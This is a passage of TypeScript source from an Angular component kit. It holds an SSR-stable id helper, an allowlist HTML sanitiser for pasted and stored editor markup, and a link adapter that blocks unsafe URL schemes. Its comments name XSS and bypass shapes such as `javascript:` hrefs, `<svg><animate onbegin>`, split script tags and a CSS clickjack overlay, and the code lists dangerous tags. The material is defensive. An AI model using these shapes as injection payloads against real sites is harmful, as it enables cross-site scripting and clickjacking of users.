* ```\n * same module, two renders: sv-tabs-1-tab-x   sv-tabs-2-tab-x\n * fresh module:             sv-tabs-1-tab-x\n * ```\n *\n * A long-lived server process shares that counter across requests, so the second\n * page it renders emits `sv-tabs-2-…` while the browser — which just loaded the\n * module for the first time — emits `sv-tabs-1-…`. Server HTML and first client\n * render disagree, which is a hydration mismatch: Angular discards the\n * prerendered DOM and re-renders, and any `aria-controls` an assistive\n * technology read in between pointed at an element that no longer exists.\n *\n * ── The fix, and why it is a counter per INJECTOR ───────────────────────────\n * ★ The instinct is a random id, and it is wrong: random is different on the\n * server and the client **by construction**, which is the very mismatch being\n * fixed. The id has to be *deterministic per render pass* and *independent\n * between passes* — which is exactly what a counter owned by the root injector\n * gives, because Angular SSR bootstraps a fresh application per request. Both\n * sides start at 1 and agree, and two components in one app still differ.\n */\n\n/** The counter itself. Root-provided, so its lifetime is one application. */\n@Injectable({ providedIn: 'root' })\nexport class SvIdSequence {\n  private n = 0;\n\n  /** The next number in this application's sequence. */\n  next(): number {\n    return ++this.n;\n  }\n}\n\n/**\n * A DOM id prefix unique within this application and stable across hydration.\n *\n * Call it in a field initializer, inside an injection context:\n *\n * ```ts\n * private readonly uid = svUniqueId('sv-tabs');\n * tabDomId = (id: string) => `${this.uid}-tab-${id}`;\n * ```\n *\n * ★★ **`APP_ID` is always folded in, and that is not belt-and-braces — it repairs\n * a regression this very change would otherwise introduce.** The module counter\n * had one virtue: two Angular applications on one page *shared* it, so their ids\n * could not collide. A counter per injector gives each application its own, both\n * restart at 1, and suddenly two `sv-tabs-1-tab-x` elements exist and\n * `aria-controls` resolves into the wrong app — the same defect this repo has\n * already fixed twice for two tab strips and two speed dials.\n *\n * `APP_ID` is the right discriminator because Angular *already* requires distinct\n * values there for hydration and styles when two apps share a page, so nothing\n * new has to be configured. It costs `-ng-` in the common single-app case, which\n * is a few bytes in an attribute nobody reads by hand.\n *\n * ⚠️ Do not \"tidy\" this by skipping Angular's default: the first draft did, and\n * the default is `'ng'` when bootstrapping and `'a'` under `TestBed`, so the\n * special case was both magic and wrong.\n */\nexport function svUniqueId(prefix: string): string {\n  const appId = inject(APP_ID);\n  const n = inject(SvIdSequence).next();\n  return `${prefix}-${appId}-${n}`;\n}\n","/**\n * ★★★ THE KIT'S ONE HTML SANITISER. Every component that puts markup it did not\n * author into the DOM comes here — the rich editor's paste path, the form\n * builder's remote schema, autocomplete's match highlighting. There is exactly\n * one of these on purpose: a second sanitiser is not twice the safety, it is\n * two allowlists that drift until a tag one of them drops is a tag the other\n * keeps, and nobody finds out which is which until it matters.\n *\n * ── Why it moved (`X-4`, T2 step 1) ─────────────────────────────────────────\n *\n * It was written for, and lived in, `@styloviz-pro/rich-editor`, where it was\n * complete, tested and correct — and **unreachable**. Nothing outside that one\n * package could import it, so the next component needing to sanitise anything\n * had a choice between taking a dependency on a rich text editor and writing\n * its own. That is how kits end up with three. `@styloviz-pro/rich-editor`\n * re-exports every name unchanged, so no caller of that package moved.\n *\n * ★★★ THIS CROSSED A TIER BOUNDARY, AND THAT IS THE DECISION IN THIS COMMIT.\n *     `@styloviz-pro/rich-editor` is Pro; `@styloviz/core` is free, so every\n *     free-tier component and every free-tier user now has this. That is the\n *     point rather than a side effect: `sv-search-bar`, `sv-tag-input` and\n *     `sv-input-field` all ship free twins, all of them render text they did not\n *     author, and a kit whose answer to \"how do I not get XSS'd\" is \"buy the\n *     rich text editor\" has taken a position it could not defend. A sanitiser is\n *     infrastructure, not a feature — the editor stays Pro, and what moved is\n *     four hundred lines of allowlist that differentiate nothing.\n *\n * ★★ THE CODE IS UNCHANGED BY THE MOVE, DELIBERATELY. Relocation and\n *    modification in one step means a behaviour change hides inside a diff that\n *    reads as a rename. The specs came with it and are the proof — they were\n *    passing against this exact source in `rich-editor` the commit before.\n *\n * ── What it does not do ─────────────────────────────────────────────────────\n *\n * ⚠️ THIS IS NOT A SUBSTITUTE FOR A CONTENT SECURITY POLICY, AND IT IS NOT A\n *    SERVER-SIDE CHECK. It runs in the browser, on the browser's own parser, and\n *    a value that has been through it is safe *to render here and now*. It is\n *    not attested, not signed, and not safe by the time it has been through a\n *    round trip you do not control. Sanitise again where the value is stored,\n *    and ship a CSP — `FI-19-I1` is the item that says this in the docs where\n *    integrators will read it.\n *\n * ── Cleaning what the clipboard brings in ───────────────────────────────────\n *\n * ★★★ AN EDITOR WITH NO PASTE SANITISER IS A STORED-XSS PIPE FROM ONE USER'S\n * CLIPBOARD TO EVERY OTHER READER OF THE DOCUMENT.\n *\n * This is the half of \"paste cleanup\" nobody writes the feature for. The\n * complaint that gets it built is cosmetic — pasting from Word drags in forty\n * lines of `mso-` styles and a font stack nobody chose — but the same absent\n * handler is why whatever markup the clipboard carries lands in the\n * contenteditable, is read straight back out of `innerHTML` into the bound\n * value, and is persisted. The next reader renders it. A \"sanitiser\" that only\n * tidies formatting has fixed the visible half of the hole and left the other.\n *\n * ★★★ ALLOWLIST, NOT DENYLIST. \"Strip `<script>` and `on*`\" is the shape every\n * hand-rolled cleaner takes, and it is defeated by whatever its author did not\n * think of that morning: `<iframe srcdoc>`, `<object data>`, `<svg><animate\n * onbegin>`, `<math href>`, an `href=\"javascript:\"` on a plain link, a\n * `<base href>` that repoints every relative URL on the page. A denylist has to\n * be right about every attack; an allowlist has to be right about the twenty\n * tags a document actually needs.\n *\n * ★★★ AND IT IS PARSED WITH `DOMParser`, NOT BY ASSIGNING TO `innerHTML` FIRST.\n * That distinction is the entire safety of this module. Assigning untrusted\n * markup to a live element runs `onerror`, fires `<img src>` and `<video\n * poster>` requests to the attacker's host, and evaluates `<svg><script>` —\n * before a single line of cleaning code has run. `DOMParser.parseFromString`\n * builds an inert document: no scripts execute, no subresources load. Cleaning\n * markup by putting it in the page first and tidying afterwards is the mistake\n * this comment exists to prevent someone making in a refactor.\n *\n * ★★ Regex is not used to parse HTML here, for the ordinary reason: `<scr<script\n * >ipt>`, unquoted attributes, stray `>` inside attribute values and a dozen\n * other shapes defeat it, and the failures are silent.\n */\n\n/** Tags a pasted document may keep. Everything else is unwrapped or dropped. */\nconst ALLOWED_TAGS = new Set([\n  'p', 'br', 'div', 'span',\n  'h1', 'h2', 'h3', 'h4', 'h5', 'h6',\n  'strong', 'b', 'em', 'i', 'u', 's', 'strike', 'del', 'ins', 'sub', 'sup', 'mark',\n  'ul', 'ol', 'li',\n  'blockquote', 'pre', 'code',\n  'a',\n  'img',\n  'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'caption', 'colgroup', 'col',\n  'hr',\n]);\n\n/**\n * Elements whose CONTENT is dropped along with them.\n *\n * ★★ THE DEFAULT FOR A DISALLOWED TAG IS TO UNWRAP IT AND KEEP THE TEXT — a\n * pasted `<article>` should leave its prose behind, not delete it. These are the\n * exceptions, where the text content is not prose at all: the body of a\n * `<style>` block is CSS, and unwrapping it would paste the stylesheet source\n * into the document as visible text. `<script>` cannot execute here, having been\n * parsed inertly, but its source is not prose either.\n */\nconst DROP_WITH_CONTENT = new Set([\n  'script', 'style', 'noscript', 'template', 'title', 'head',\n  'iframe', 'object', 'embed', 'applet', 'frame', 'frameset',\n  'link', 'meta', 'base',\n  'form', 'input', 'button', 'select', 'textarea', 'option',\n  'audio', 'video', 'source', 'track', 'canvas', 'map', 'area',\n  'svg', 'math',\n]);\n\n/** Attributes each tag may keep. `*` applies to every allowed tag. */\nconst ALLOWED_ATTRS: Readonly<Record<string, readonly string[]>> = {\n  '*': ['style'],\n  a: ['href', 'title', 'target', 'rel'],\n  img: ['src', 'alt', 'title', 'width', 'height'],\n  td: ['colspan', 'rowspan'],\n  th: ['colspan', 'rowspan', 'scope'],\n  col: ['span'],\n  colgroup: ['span'],\n  ol: ['start', 'type'],\n};\n\n/**\n * CSS properties worth keeping off a paste.\n *\n * ★★ A NARROW LIST, BECAUSE `style` IS THE OTHER HALF OF THE MESS. Word emits\n * `mso-ansi-language`, `mso-fareast-font-family`, absolute pixel line heights and\n * a font stack from the machine it was written on; keeping all of it is why\n * pasted text looks nothing like the document around it. Keeping none of it\n * loses the bold-red-warning the author meant. These are the properties a\n * document can carry without dictating its own typography.\n *\n * ★★★ `position` IS NOT ON THIS LIST, DELIBERATELY. A pasted\n * `position: fixed; inset: 0; z-index: 9999` is an invisible full-screen overlay\n * over the host's own page — a clickjack that needs no script at all, and one\n * that survives every sanitiser that only thinks about tags.\n */\nconst ALLOWED_STYLES = new Set([\n  'color', 'background-color',\n  'font-weight', 'font-style', 'text-decoration', 'text-decoration-line',\n  'text-align', 'vertical-align',\n]);\n\n/** URL schemes a link or image may use. */\nconst SAFE_SCHEMES = ['http:', 'https:', 'mailto:', 'tel:'];\n\nexport interface SvPasteOptions {\n  /** Keep images. @default true */\n  readonly allowImages?: boolean;\n  /** Keep links. @default true */\n  readonly allowLinks?: boolean;\n  /** Keep tables. @default true */\n  readonly allowTables?: boolean;\n  /** Keep the narrow list of inline styles. @default true */\n  readonly allowStyles?: boolean;\n  /**\n   * Allow `data:image/*` in `src`.\n   *\n   * ★★ OFF BY DEFAULT AND NOT AN OVERSIGHT. Pasting a screenshot inlines a base64\n   * payload that can be megabytes; a host that persists the editor's value then\n   * stores it in a database row. Turn it on when you have decided that is what\n   * you want. `data:` of any other type is refused whatever this says — `data:`\n   * plus `text/html` is a same-origin document.\n   */\n  readonly allowDataImages?: boolean;\n}\n\nexport interface SvPasteResult {\n  /** The cleaned markup. */\n  readonly html: string;\n  /** Tag names removed entirely, with their content. */\n  readonly droppedElements: readonly string[];\n  /** Attributes removed, as `tag[attr]`. */\n  readonly droppedAttributes: readonly string[];\n  /** True when anything was removed at all. */\n  readonly changed: boolean;\n}\n\nconst DEFAULTS: Required<SvPasteOptions> = {\n  allowImages: true,\n  allowLinks: true,\n  allowTables: true,\n  allowStyles: true,\n  allowDataImages: false,\n};\n\n/**\n * Is this URL safe to keep?\n *\n * ★★★ RESOLVED WITH `new URL`, NOT MATCHED WITH A PREFIX CHECK.\n * `href.startsWith('javascript:')` misses ` javascript:` (a leading space, which\n * the HTML parser strips), `JaVaScRiPt:`, and a scheme split by an embedded\n * control character (`java`, U+0009, `script:`) — all of which navigate,\n * because the HTML attribute parser strips tabs, newlines and carriage returns\n * out of a URL before anything resolves it. The URL parser applies the same normalisation the browser will, so\n * the scheme this reads is the scheme that would run.\n */\nexport function svIsSafeUrl(value: string, allowDataImages: boolean): boolean {\n  const raw = value.trim();\n  if (raw === '') return false;\n  // A relative URL has no scheme of its own and inherits the page's, which is\n  // safe by construction — but only once it is genuinely relative, so it is\n  // resolved against a base rather than assumed.\n  let url: URL;\n  try {\n    url = new URL(raw, 'https://styloviz.invalid/');\n  } catch {\n    return false;\n  }\n  if (url.protocol === 'data:') {\n    return allowDataImages && /^data:image\\/(png|jpeg|jpg|gif|webp|avif);base64,/i.test(raw);\n  }\n  return SAFE_SCHEMES.includes(url.protocol);\n}\n\n/** Strip Word's `mso-` noise and anything not on the allowlist from a style attribute. */\nexport function svCleanStyle(style: string, allow: boolean): string {\n  return allow ? cleanStyleWith(style, ALLOWED_STYLES) : '';\n}\n\nfunction cleanStyleWith(style: string, allowed: ReadonlySet<string>): string {\n  const kept: string[] = [];\n  for (const declaration of style.split(';')) {\n    const at = declaration.indexOf(':');\n    if (at < 0) continue;\n    const property = declaration.slice(0, at).trim().toLowerCase();\n    const value = declaration.slice(at + 1).trim();\n    if (value === '' || !allowed.has(property)) continue;\n    // ★ `expression()` is dead in every current browser, and `url()` in a kept\n    //   property is not — `background-color: url(...)` is invalid CSS but a\n    //   parser may still fetch it, which leaks that the document was opened.\n    if (/expression\\s*\\(|url\\s*\\(|[\\\\@]/i.test(value)) continue;\n    kept.push(`${property}: ${value}`);\n  }\n  return kept.join('; ');\n}\n\n/**\n * What one sanitising pass may keep. The paste profile and the editor profile\n * are two of these over ONE walker — a second walker would be the second\n * sanitiser the file header warns about.\n */\ninterface SanitizePolicy {\n  readonly tags: ReadonlySet<string>;\n  readonly attrs: Readonly<Record<string, readonly string[]>>;\n  readonly styles: ReadonlySet<string> | null;\n  readonly allowDataImages: boolean;\n  /** Class tokens to keep. `null` = the `class` attribute is not allowed at all. */\n  readonly keepClass: ((token: string) => boolean) | null;\n  /** Extra attribute NAMES to keep on any allowed tag (e.g. `data-sv-mention-*`). */\n  readonly keepAttr: ((name: string) => boolean) | null;\n  /** `<input type>` values kept as elements rather than dropped with content. */\n  readonly inputTypes: ReadonlySet<string>;\n}\n\n/**\n * Clean markup arriving from the clipboard.\n *\n * Returns the cleaned HTML plus what was removed, so the editor can tell the\n * author rather than silently eating half of what they pasted — the behaviour\n * that makes people paste into Notepad first and then back in.\n */\nexport function svCleanPastedHtml(html: string, options: SvPasteOptions = {}): SvPasteResult {\n  const opts = { ...DEFAULTS, ...options };\n  const tags = new Set(ALLOWED_TAGS);\n  if (!opts.allowImages) tags.delete('img');\n  if (!opts.allowLinks) tags.delete('a');\n  if (!opts.allowTables) {\n    for (const t of ['table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'caption', 'colgroup', 'col']) {\n      tags.delete(t);\n    }\n  }\n  return sanitizeWith(html, {\n    tags,\n    attrs: ALLOWED_ATTRS,\n    styles: opts.allowStyles ? ALLOWED_STYLES : null,\n    allowDataImages: opts.allowDataImages,\n    keepClass: null,\n    keepAttr: null,\n    inputTypes: NO_INPUTS,\n  });\n}\n\nconst NO_INPUTS: ReadonlySet<string> = new Set();\n\n/**\n * The editor profile — what `sv-rich-text-editor` itself writes, and nothing a\n * stored document could use to run code.\n *\n * ★★★ WHY A SECOND PROFILE AND NOT THE PASTE ONE. The paste allowlist is right\n *     for foreign markup and wrong for the editor's OWN: it drops `class`, so\n *     `rte-table` / `rte-image-block` lose their styling; it drops\n *     `data-sv-mention-*`, so every mention chip degrades to plain text; it\n *     keeps 8 style properties, so font family, font size, line height, indent\n *     and image width all vanish on reload. Reusing it would have made the\n *     security fix a data-loss bug on every saved document.\n *\n * ★★ WHAT IS STILL OUT. Everything that executes or loads: `on*`, `srcdoc`,\n *    `<script>`, `<iframe>`, `<svg>`, `<style>`, `javascript:`/`data:text/html`\n *    URLs, `url()` in CSS. And everything that escapes the editor's box:\n *    `position`, `z-index`, `inset`/`top`/`left`, `transform`. `class` keeps\n *    only the kit's own prefixes (`rte-`, `sv-`, `language-`) plus whatever the\n *    host vouches for — an arbitrary class is a host-stylesheet gadget\n *    (`fixed inset-0 z-50` is a clickjack with no script in it).\n */\nconst EDITOR_TAGS: ReadonlySet<string> = new Set([\n  ...ALLOWED_TAGS, 'figure', 'figcaption', 'font', 'input',\n]);\n\nconst EDITOR_ATTRS: Readonly<Record<string, readonly string[]>> = {\n  ...ALLOWED_ATTRS,\n  '*': ['style', 'dir', 'contenteditable'],\n  img: [...(ALLOWED_ATTRS['img'] ?? []), 'loading', 'decoding'],\n  font: ['color', 'face', 'size'],\n  input: ['type', 'checked', 'disabled'],\n};\n\nconst EDITOR_STYLES: ReadonlySet<string> = new Set([\n  ...ALLOWED_STYLES,\n  'font-family', 'font-size', 'line-height', 'letter-spacing', 'text-indent', 'text-transform',\n  'width', 'max-width', 'min-width', 'height', 'max-height',\n  'margin', 'margin-top', 'margin-right', 'margin-bottom', 'margin-left',\n  'padding', 'padding-top', 'padding-right', 'padding-bottom', 'padding-left',\n  'border', 'border-top', 'border-right', 'border-bottom', 'border-left',\n  'border-color', 'border-style', 'border-width', 'border-collapse', 'border-spacing', 'border-radius',\n  'list-style-type', 'white-space', 'float', 'clear',\n]);\n\nconst KIT_CLASS = /^(rte|sv|language)-[A-Za-z0-9_-]+$/;\nconst MENTION_ATTR = /^data-sv-mention(-[a-z]+)?$/;\nconst EDITOR_INPUTS: ReadonlySet<string> = new Set(['checkbox']);\n\nexport interface SvEditorHtmlOptions {\n  /**\n   * Keep `data:image/*` sources. @default true — the editor's own image upload\n   * stores the file as a `data:` URL, so refusing them would delete every\n   * uploaded image on reload. `data:` of any non-image type is refused anyway.\n   */\n  readonly allowDataImages?: boolean;\n  /**\n   * Extra class tokens to keep beyond the kit's own `rte-` / `sv-` /\n   * `language-` prefixes — e.g. the classes of a host-configured mention chip.\n   */\n  readonly keepClass?: (token: string) => boolean;\n}\n\n/**\n * Sanitise HTML that is about to become the CONTENT of an editing surface —\n * a stored document loaded through `[value]` / `formControl`, or source-view\n * text being applied. Same walker, same inert parse and same URL rules as\n * {@link svCleanPastedHtml}; a wider allowlist that matches what the editor\n * itself writes. See `EDITOR_TAGS` above for what is kept and why.\n *\n * ⚠️ Same caveat as the paste path: this makes a value safe to render HERE.\n *    Sanitise again where the value is stored, and ship a CSP.\n */\nexport function svSanitizeEditorHtml(html: string, options: SvEditorHtmlOptions = {}): SvPasteResult {\n  const extra = options.keepClass;\n  return sanitizeWith(html, {\n    tags: EDITOR_TAGS,\n    attrs: EDITOR_ATTRS,\n    styles: EDITOR_STYLES,\n    allowDataImages: options.allowDataImages ?? true,\n    keepClass: (t) => KIT_CLASS.test(t) || (extra?.(t) ?? false),\n    keepAttr: (name) => MENTION_ATTR.test(name),\n    inputTypes: EDITOR_INPUTS,\n  });\n}\n\nfunction sanitizeWith(html: string, policy: SanitizePolicy): SvPasteResult {\n  const droppedElements: string[] = [];\n  const droppedAttributes: string[] = [];\n\n  // ★★★ INERT. See the file header: this is the line that makes the module safe,\n  //     and replacing it with an `innerHTML` assignment on a live node undoes\n  //     every other line in the file.\n  const doc = new DOMParser().parseFromString(html, 'text/html');\n\n  const allowedTags = policy.tags;\n\n  /** Replace a node with its children, keeping the text. */\n  const unwrap = (el: Element): void => {\n    const parent = el.parentNode;\n    if (!parent) return;\n    while (el.firstChild) parent.insertBefore(el.firstChild, el);\n    parent.removeChild(el);\n  };\n\n  const clean = (node: Node): void => {\n    // Snapshot first: the walk removes and unwraps as it goes, and a live\n    // childNodes list skips siblings when the one before them disappears.\n    for (const child of Array.from(node.childNodes)) {\n      if (child.nodeType === 8 /* Comment */) {\n        // Word's conditional comments (`<!--[if gte mso 9]>…`) carry a whole\n        // second copy of the document.\n        child.parentNode?.removeChild(child);\n        continue;\n      }\n      if (child.nodeType !== 1 /* Element */) continue;\n\n      const el = child as Element;\n      const tag = el.tagName.toLowerCase();\n\n      // A checkbox is the one form control a document carries (a Markdown task\n      // list). Every other `<input>` is a phishing surface, not prose.\n      const keptInput = tag === 'input' && policy.inputTypes.has((el.getAttribute('type') ?? '').toLowerCase());\n      if (!keptInput && DROP_WITH_CONTENT.has(tag)) {\n        droppedElements.push(tag);\n        el.parentNode?.removeChild(el);\n        continue;\n      }\n\n      if (!allowedTags.has(tag)) {\n        // Clean the subtree BEFORE unwrapping: once the children are lifted into\n        // the parent, this walk has already passed their new position.\n        clean(el);\n        droppedElements.push(tag);\n        unwrap(el);\n        continue;\n      }\n\n      for (const attr of Array.from(el.attributes)) {\n        const name = attr.name.toLowerCase();\n        const permitted =\n          (policy.attrs['*'] ?? []).includes(name) ||\n          (policy.attrs[tag] ?? []).includes(name) ||\n          (name === 'class' && policy.keepClass !== null) ||\n          (policy.keepAttr?.(name) ?? false);\n        if (!permitted) {\n          droppedAttributes.push(`${tag}[${name}]`);\n          el.removeAttribute(attr.name);\n          continue;\n        }\n        if (name === 'href' || name === 'src') {\n          if (!svIsSafeUrl(attr.value, policy.allowDataImages)) {\n            droppedAttributes.push(`${tag}[${name}]`);\n            el.removeAttribute(attr.name);\n          }\n          continue;\n        }\n        const keepClass = policy.keepClass;\n        if (name === 'class' && keepClass) {\n          const kept = attr.value.split(/\\s+/).filter((t) => t !== '' && keepClass(t));\n          if (kept.length === 0) {\n            droppedAttributes.push(`${tag}[class]`);\n            el.removeAttribute('class');\n          } else {\n            el.setAttribute('class', kept.join(' '));\n          }\n          continue;\n        }\n        // ★ Only the value that makes an island read-only survives. `true`\n        //   would let a stored fragment re-arm editing inside a readonly view.\n        if (name === 'contenteditable' && attr.value.toLowerCase() !== 'false') {\n          droppedAttributes.push(`${tag}[contenteditable]`);\n          el.removeAttribute(attr.name);\n          continue;\n        }\n        if (name === 'style') {\n          const cleaned = policy.styles ? cleanStyleWith(attr.value, policy.styles) : '';\n          if (cleaned === '') {\n            if (attr.value.trim() !== '') droppedAttributes.push(`${tag}[style]`);\n            el.removeAttribute('style');\n          } else {\n            if (cleaned !== attr.value.trim()) droppedAttributes.push(`${tag}[style]`);\n            el.setAttribute('style', cleaned);\n          }\n        }\n      }\n\n      // ★★ A LINK THAT SURVIVES GETS `rel=\"noopener noreferrer\"` WHEN IT OPENS A\n      //    NEW TAB. `target=\"_blank\"` without it hands the opened page a\n      //    `window.opener` handle it can navigate — the reverse-tabnabbing that\n      //    every \"share this link\" feature used to ship.\n      if (tag === 'a' && el.getAttribute('target') === '_blank') {\n        el.setAttribute('rel', 'noopener noreferrer');\n      }\n\n      clean(el);\n\n      // A span or div left with no attributes is Word packaging, not structure.\n      if ((tag === 'span' || tag === 'font') && el.attributes.length === 0) {\n        unwrap(el);\n      }\n    }\n  };\n\n  // ★★★ `<head>` HAS TO BE COUNTED, AND IT IS NOT OBVIOUS THAT IT EXISTS.\n  //     `DOMParser` runs the real HTML insertion algorithm, which routes a\n  //     leading `<script>`, `<style>`, `<base>`, `<meta>` or `<link>` into an\n  //     implicit `<head>` — before any body content has been seen. Walking only\n  //     `body` therefore never encounters them. They are still gone from the\n  //     output, because the output is `body.innerHTML`, so the SAFETY was never\n  //     in question; what was wrong is that the report came back empty and\n  //     `changed` came back false, so the editor would tell an author nothing had\n  //     been removed while quietly discarding the first half of their clipboard.\n  //     Found by a test that asserted the report, not the markup.\n  for (const el of Array.from(doc.head.children)) {\n    droppedElements.push(el.tagName.toLowerCase());\n  }\n\n  clean(doc.body);\n\n  const cleaned = doc.body.innerHTML;\n  return {\n    html: cleaned,\n    droppedElements: [...new Set(droppedElements)].sort(),\n    droppedAttributes: [...new Set(droppedAttributes)].sort(),\n    changed: droppedElements.length > 0 || droppedAttributes.length > 0,\n  };\n}\n\n/**\n * The text of a pasted fragment, with block boundaries preserved as newlines.\n *\n * ★★ `textContent` ALONE RUNS EVERY PARAGRAPH TOGETHER. Pasting a three-page\n * document as plain text and getting one enormous line is the reason people\n * think paste-as-plain-text is broken; block elements have to become newlines\n * because that is what they meant.\n */\nexport function svPlainTextFromHtml(html: string): string {\n  const doc = new DOMParser().parseFromString(html, 'text/html');\n  // ★★★ `textContent` INCLUDES THE SOURCE OF `<script>` AND `<style>`, which is\n  //     not text the author pasted — it is code, and dumping it into the\n  //     document as visible prose is exactly the Word-stylesheet-as-paragraphs\n  //     failure this function was supposed to avoid. Not a security hole (the\n  //     result is escaped downstream), but the \"safe\" path quietly producing the\n  //     ugliest possible output is worth its own line. Found by a test asserting\n  //     the script source was absent.\n  for (const el of Array.from(doc.body.querySelectorAll('script,style,noscript,template,title'))) {\n    el.remove();\n  }\n  for (const el of Array.from(doc.body.querySelectorAll('br'))) {\n    el.replaceWith(doc.createTextNode('\\n'));\n  }\n  const BLOCKS = 'p,div,li,tr,h1,h2,h3,h4,h5,h6,blockquote,pre,section,article,header,footer';\n  for (const el of Array.from(doc.body.querySelectorAll(BLOCKS))) {\n    el.appendChild(doc.createTextNode('\\n'));\n  }\n  return (doc.body.textContent ?? '')\n    .replace(/\\u00A0/g, ' ')\n    .replace(/[ \\t]+\\n/g, '\\n')\n    .replace(/\\n{3,}/g, '\\n\\n')\n    .trim();\n}\n\n/** Escape text for insertion as HTML. */\nexport function svEscapeHtml(text: string): string {\n  return text\n    .replace(/&/g, '&amp;')\n    .replace(/</g, '&lt;')\n    .replace(/>/g, '&gt;')\n    .replace(/\"/g, '&quot;');\n}\n\n/**\n * Plain text as paragraphs.\n *\n * ★★★ ESCAPED FIRST, ALWAYS. \"Paste as plain text\" that then builds HTML out of\n * the string without escaping it is a sanitiser that reintroduces the exact hole\n * it was added to close — and it reads as the safest path in the file.\n */\nexport function svPlainTextToHtml(text: string): string {\n  const paragraphs = text.split(/\\n{2,}/);\n  return paragraphs\n    .map((p) => {\n      const lines = p.split('\\n').map(svEscapeHtml);\n      return `<p>${lines.join('<br>') || '<br>'}</p>`;\n    })\n    .join('');\n}\n\n/** `Removed 2 unsupported elements and 5 attributes.` */\nexport function svPasteSummary(result: SvPasteResult): string {\n  if (!result.changed) return '';\n  const parts: string[] = [];\n  const e = result.droppedElements.length;\n  const a = result.droppedAttributes.length;\n  if (e > 0) parts.push(`${e} unsupported element${e === 1 ? '' : 's'}`);\n  if (a > 0) parts.push(`${a} attribute${a === 1 ? '' : 's'}`);\n  return `Cleaned on paste: removed ${parts.join(' and ')}.`;\n}\n","import {\n  InjectionToken,\n  type EnvironmentProviders,\n  makeEnvironmentProviders,\n} from '@angular/core';\nimport { svWarnOnce } from '../dev/warn-once';\nimport { svIsSafeUrl } from '../security/html-sanitizer';\n\n/**\n * ============================================================================\n *  The link seam — `NV-03-M1`, second half\n * ============================================================================\n *\n * `SvNavLocation` is a keyed store: it answers *\"where does this component's\n * state live?\"*. This answers a different question — *\"how does this component\n * render a link to somewhere else, and who navigates when it is clicked?\"* — and\n * no amount of stretching makes one do the other's job. A breadcrumb owns no\n * key; its state **is** the route.\n *\n * ── Why it exists ───────────────────────────────────────────────────────────\n * `docs/navigation-routing-adr.md` names the problem and names the proof:\n * `sv-breadcrumb` and `sv-sidebar` both imported `{ RouterLink } from\n * '@angular/router'`, which is precisely why neither could be dropped into a\n * consumer's app that routes some other way — a hybrid app, a non-routed widget,\n * another framework's shell. The adapter is their migration path (`sv-breadcrumb`\n * and `sv-sidebar-nav` have taken it; `sv-sidebar` still imports `RouterLink`),\n * so like {@link SvNavLocation} it cannot itself depend on the thing they need to\n * escape.\n *\n * ── What `RouterLink` actually provided, and how this replaces it ───────────\n * Two things, and they are separable, which is the whole insight:\n *\n *   1. **An `href` on the anchor.** That is what makes middle-click, ⌘-click,\n *      \"copy link address\" and the status bar work, and it is plain string work\n *      no router is needed for.\n *   2. **Click interception**, so the app transitions instead of reloading.\n *      That one genuinely needs the router — so it is the ten lines the\n *      *consumer* writes.\n *\n * Splitting them means a component with no adapter still renders real,\n * shareable, right-clickable links. It just reloads the page when one is\n * followed, which is what a component with no router can honestly do.\n *\n * ── ★ The same rule as `sv-mega-menu`'s, and deliberately so ────────────────\n * **The component cancels the browser's navigation exactly when the adapter says\n * it took it.** `navigate` returning `false` means \"I did not handle this\" and\n * the anchor is left alone; returning `true` means the adapter is navigating and\n * the browser must not also. One event, one navigation — the defect `NV-07-I12`\n * names, avoided here before it can be written.\n */\n\n/**\n * Where a link points, in whatever shape the consumer's router uses.\n *\n * A string is a path. An array is the segment form Angular's router takes —\n * kept because that is what every `BreadcrumbItem` in the wild already holds,\n * and renaming a public field to tidy a type is a migration nobody asked for.\n */\nexport type SvLinkTarget = string | readonly string[];\n\n/** How a component turns a target into a link, and who navigates. */\nexport interface SvLinkAdapter {\n  /** Names the implementation, for diagnostics only. */\n  readonly kind: string;\n\n  /**\n   * The `href` to put on the anchor, or `null` for \"this is not a link\".\n   *\n   * Always rendered, even when {@link navigate} will cancel the click. An anchor\n   * with no `href` is not a link to the browser, to assistive technology, or to\n   * the person trying to open it in a new tab.\n   *\n   * Components bind the result as-is, so the adapter is where an unsafe scheme\n   * (`javascript:`, `data:`) must be refused — return `null` for it, as\n   * {@link svHrefLinkAdapter} does via {@link svIsSafeUrl}.\n   */\n  href(target: SvLinkTarget): string | null;\n\n  /**\n   * Navigate to `target`. Return `true` when this adapter handled it, so the\n   * component cancels the browser's own navigation; `false` to let the anchor\n   * be followed normally.\n   */\n  navigate(target: SvLinkTarget): boolean;\n}\n\n/** Join the array form into a path, and leave a string alone. */\nfunction toPath(target: SvLinkTarget): string {\n  if (typeof target === 'string') return target;\n  if (!target.length) return '';\n  const joined = target\n    .map((segment, i) => (i === 0 ? segment : segment.replace(/^\\//, '')))\n    .join('/')\n    .replace(/([^:])\\/{2,}/g, '$1/');\n  return joined;\n}\n\n/**\n * The default: render the `href`, let the browser follow it.\n *\n * ★ **It warns, once, the first time a link is actually rendered through it in a\n * dev build.** Silence here would be the worst outcome of this whole change: an\n * app that upgrades and starts doing full page loads on every breadcrumb click\n * still *works*, so nothing fails, nothing logs, and the regression is found\n * weeks later by somebody wondering why the app feels slow. The warning names\n * the one provider call that fixes it.\n *\n * ★ **An unsafe scheme is not a link.** Targets usually come from data — a\n * breadcrumb trail built from a CMS, a menu from a config file — so a\n * `javascript:` or `data:` target is an injection, not a destination. `href`\n * runs every path through {@link svIsSafeUrl} (the same resolve-with-`new URL`\n * check the HTML sanitizer uses, so ` JaVaScRiPt:` and tab-split schemes are\n * caught too) and returns `null` — \"this is not a link\" — for anything that\n * fails it. Relative paths, `http(s):`, `mailto:` and `tel:` pass.\n */\nexport function svHrefLinkAdapter(): SvLinkAdapter {\n  return {\n    kind: 'href',\n\n    href(target) {\n      const path = toPath(target);\n      if (path === '') return null;\n      if (!svIsSafeUrl(path, false)) {\n        svWarnOnce(\n          `sv-link-adapter/unsafe:${path.slice(0, 40)}`,\n          `A navigation link target uses a scheme that is not allowed (\"${path.slice(0, 40)}\"), ` +\n            'so it is rendered without an href. Only relative paths, http(s):, mailto: and tel: ' +\n            'are linked by the default adapter.',\n        );\n        return null;\n      }\n      return path;\n    },\n\n    navigate() {\n      svWarnOnce(\n        'sv-link-adapter/default',\n        'No link adapter is provided, so links in navigation components are followed by ' +\n          'the browser — a full page load rather than a router transition. Wire one up with ' +\n          'provideSvLinkAdapter(() => ({ kind: \"router\", href: …, navigate: … })); see ' +\n          'docs/navigation-routing-adr.md for the ten-line Angular version.',\n      );\n      return false;\n    },\n  };\n}\n\n/**\n * Where components look for their link adapter.\n *\n * Defaults to 